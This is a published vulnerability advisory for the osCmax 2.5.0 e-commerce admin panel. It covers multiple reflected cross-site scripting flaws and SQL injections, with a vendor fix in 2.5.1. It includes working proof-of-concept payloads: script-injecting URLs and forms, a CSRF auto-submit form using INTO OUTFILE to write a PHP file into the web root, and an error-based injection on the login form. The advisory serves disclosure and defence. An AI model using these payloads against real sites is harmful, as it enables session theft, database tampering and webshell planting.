Community Edition
Total Tests:
This Week:
Today:

Multiple vulnerabilities in osCmax

Advisory ID:HTB23081
Product:osCmax
Vendor: osCMax
Vulnerable Versions:2.5.0 and probably prior
Tested Version:2.5.0
Advisory Publication:March 14, 2012 [without technical details]
Vendor Notification:March 14, 2012
Vendor Fix:March 30, 2012
Public Disclosure:April 4, 2012
Latest Update:April 2, 2012
Vulnerability Type:Cross-Site Scripting [CWE-79]
SQL Injection [CWE-89]
CVE References:CVE-2012-1664
CVE-2012-1665
Risk Level:High
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in osCmax, which can be exploited to perform SQL Injection and Cross-Site Scripting (XSS) attacks.
1) Multiple Cross-Site Scripting (XSS) in osCmax: CVE-2012-1664
1.1 Input passed via the "username" POST parameter to /admin/login.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of affected website.
The following PoC (Proof of Concept) demonstrates the vulnerability:
<form action="http://[host]/admin/login.php?action=process" method="post" name="main" id="main">
<input type="hidden" name="username" value="'<script>alert(document.cookie);</script>">
<input type="hidden" name="password" value="">
<input type="submit" name="submit" value="Send">
</form>

1.2 Input passed via the "pageTitle" GET parameter to /admin/new_attributes_include.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of affected website.
The following PoC demonstrates the vulnerability:
http://[host]/admin/new_attributes_include.php?pageTitle=%3Cscript%3Ealert%2 8document.cookie%29;%3C/script%3E
Successful exploitation of this vulnerability requires that "register_globals" is enabled.
1.3 Input passed via the "sb_id", "sb_key", "gc_id", "gc_key" and "path" POST parameters to /admin/htaccess.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of affected website.
The following PoC demonstrates the vulnerability:
<form action="http://[host]/admin/htaccess.php" method="post" name="main" id="main">
<input type="hidden" name="sb_id" value='"><script>alert(1);</script>'>
<input type="hidden" name="sb_key" value='"><script>alert(2);</script>'>
<input type="hidden" name="gc_id" value='"><script>alert(3);</script>'>
<input type="hidden" name="gc_key" value='"><script>alert(4);</script>'>
<input type="hidden" name="path" value='"><script>alert(5);</script>'>
<input type="submit" name="submit" value="Send">
</form>

Successful exploitation of this vulnerability requires that "register_globals" is enabled.
1.4 Input passed via the "title" GET parameter to /admin/information_form.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of affected website.
The following PoC (Proof of Concept) demonstrates the vulnerability:
http://[host]/admin/information_form.php?title=%3Cscript%3Ealert%28document. cookie%29;%3C/script%3E
Successful exploitation of this vulnerability requires that "register_globals" is enabled.
1.5 Input passed via the "search" GET parameter to /admin/xsell.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.
The following PoC demonstrates the vulnerability:
http://[host]/admin/xsell.php?search=%27%3Cscript%3Ealert%28document.cookie% 29;%3C/script%3E
1.6 Input passed via the "gross" and "max" GET parameters to /admin/stats_products_purchased.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.
The following PoC demonstrate the vulnerability:
http://[host]/admin/stats_products_purchased.php?gross=%22%20%3E%3Cscript%3E alert%28document.cookie%29;%3C/script%3E
http://[host]/admin/stats_products_purchased.php?max=%27%3Cscript%3Ealert%28 document.cookie%29;%3C/script%3E
1.7 Input passed via the "status" GET parameter to /admin/stats_monthly_sales.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.
The following PoC demonstrates the vulnerability:
http://[host]/admin/stats_monthly_sales.php?status=%27%3Cscript%3Ealert%28do cument.cookie%29;%3C/script%3E
1.8 Input passed via the "sorted" GET parameter to /admin/stats_customers.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.
The following PoC demonstrates the vulnerability:
http://[host]/admin/stats_customers.php?sorted=%27%3Cscript%3Ealert%28docume nt.cookie%29;%3C/script%3E
1.9 Input passed via the "information_id" GET parameter to /admin/information_manager.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.
The following PoC demonstrates the vulnerability:
http://[host]/admin/information_manager.php?information_action=Edit&informat ion_id=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
1.10 Input passed via the "zID" GET parameter to /admin/geo_zones.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.
The following PoC demonstrates the vulnerability:
http://[host]/admin/geo_zones.php?action=list&zID=%27%3Cscript%3Ealert%28doc ument.cookie%29;%3C/script%3E
1.11 Input passed via the "current_product_id" and "cPath" GET parameters to /admin/new_attributes_include.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.
The following PoC demonstrate the vulnerability:
http://[host]/admin/new_attributes_include.php?current_product_id=%22%3E%3Cs cript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/admin/new_attributes_include.php?cPath=%22%3E%3Cscript%3Ealert %28document.cookie%29;%3C/script%3E

2) Multiple SQL Injections in osCmax: CVE-2012-1665
2.1 Input passed via the "status" GET parameter to /admin/stats_monthly_sales.php is not properly sanitised before being used in SQL query. This can be exploited to alter SQL queries.
The vulnerability usage is limited to the "INTO FILE" clause. This vulnerability requires administrative privileges, however can be exploited via the CSRF technique. Remote attacker should make logged-in website administrator open the following URL (in hidden iframe for example):
http://[host]/admin/stats_monthly_sales.php?status=0 union select '<? php_code ?>' INTO OUTFILE '../../../path/to/site/file.php'
Depending on MySQL and PHP configurations, as well as file system permissions this PoC should create arbitrary PHP file within the web root.
2.2 Input passed via the "country" POST parameter to /admin/create_account_process.php is not properly sanitised before being used in SQL query. This can be exploited to alter SQL queries.
The vulnerability usage is limited to the "INTO FILE" clause. This vulnerability requires administrative privileges, however can be exploited via the CSRF technique. Remote attacker should make logged-in website administrator open the page with following html code:
<form action="http://[host]/admin/create_account_process.php" method="post" name="main" id="main">
<input type="hidden" name="country" value="1' UNION SELECT '<? php_code ?>' INTO OUTFILE '../../../path/to/site/file.php' -- 2">
<input type="hidden" name="action" value="process">
<input type="submit" name="submit" value="Send">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>

Depending on MySQL and PHP configurations, as well as file system permissions this PoC should create arbitrary PHP file within the web root.
2.3 Input passed via the "username" POST parameter to /admin/login.php is not properly sanitised before being used in SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC (Proof of Concept) demonstrates the vulnerability:
<form action="http://[host]/admin/login.php?action=process" method="post" name="main" id="main">
<input type="hidden" name="username" value="',1,2,(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2)))) -- 2">
<input type="hidden" name="password" value="">
<input type="submit" name="submit" value="Send">
</form>

How to Detect Cross-Site Scripting Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Solution:
Upgrade to osCmax v2.5.1

More Information:
http://www.oscmax.com/blog/michael_s/oscmax_v251_has_been_released_security_update
http://bugtrack.oscmax.com/view.php?id=1165


References:
[1] High-Tech Bridge Advisory HTB23081 - https://www.immuniweb.com/advisory/HTB23081 - Multiple vulnerabilities in osCmax.
[2] osCmax - http://www.oscmax.com - osCmax is a powerful e-commerce/shopping cart web application. osCmax has all the features needed to run a successful internet store and can be customized to whatever configuration you need.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Quick Start
Solutions
Get a Demo
Newsletter